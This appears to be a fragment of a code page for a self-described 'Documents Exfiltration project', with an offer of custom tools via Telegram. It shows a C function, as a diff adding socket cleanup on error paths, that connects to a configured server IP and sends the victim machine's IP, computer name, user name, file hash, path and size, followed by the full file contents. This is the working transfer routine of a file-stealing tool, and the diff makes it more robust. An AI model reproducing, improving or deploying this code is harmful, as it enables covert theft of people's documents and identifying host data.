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License: MIT License
Documents Exfiltration project for fun and educational purposes
License: MIT License
Would you like me to make a custom Tool? Contact me at Telegram
Some failures to release resources in error returns:
void SendDataToServer(const char* filePath, BYTE* fileHash, const char* ip, const char* computerName, const char* userName) {
WSADATA wsaData;
SOCKET clientSocket;
struct sockaddr_in server;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
fprintf(stderr, "\nWSAStartup failed. Error Code : %d\n", WSAGetLastError());
return;
}
clientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (clientSocket == INVALID_SOCKET) {
fprintf(stderr, "\nCould not create socket : %d\n", WSAGetLastError());
+ WSACleanup();
return;
}
server.sin_addr.s_addr = inet_addr(SERVER_IP);
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT_FILE);
if (connect(clientSocket, (struct sockaddr*)&server, sizeof(server)) < 0) {
fprintf(stderr, "\nConnect error. Error Code : %d\n", WSAGetLastError());
+ closesocket(clientSocket);
+ WSACleanup();
return;
}
FILE* file = fopen(filePath, "rb");
if (file == NULL) {
fprintf(stderr, "\nFile could not be opened.\n");
+ closesocket(clientSocket);
+ WSACleanup();
return;
}
fseek(file, 0, SEEK_END);
long fileSize = ftell(file);
fseek(file, 0, SEEK_SET);
char fileHashStr[65];
for (int i = 0; i < 32; i++) {
snprintf(fileHashStr + i * 2, 3, "%02x", fileHash[i]);
}
char json[8192];
snprintf(json, sizeof(json), "{\"ip\":\"%s\",\"computerName\":\"%s\",\"userName\":\"%s\",\"fileHash\":\"%s\",\"filePath\":\"%s\",\"fileSize\":\"%ld\"}", ip, computerName, userName, fileHashStr, filePath, fileSize);
int jsonSize = strlen(json);
// Send the size of the JSON data first (converted to network byte order)
int jsonSizeToSend = htonl(jsonSize);
send(clientSocket, (char*)&jsonSizeToSend, sizeof(jsonSizeToSend), 0);
printf("[+] jsonSize = %d\n", jsonSize);
printf("[+] json : \n%s\n", json);
// Send the JSON data
send(clientSocket, json, jsonSize, 0);
// Read file content into a buffer
char* fileBuffer = (char*)malloc(fileSize);
if (fileBuffer == NULL) {
fprintf(stderr, "\nMemory allocation error.\n");
fclose(file);
+ closesocket(clientSocket);
+ WSACleanup();
return;
}
fread(fileBuffer, 1, fileSize, file);
// Send the file data
send(clientSocket, fileBuffer, fileSize, 0);
free(fileBuffer);
fclose(file);
closesocket(clientSocket);
WSACleanup();
printf("\n[+] File sent successfully.\n");
}
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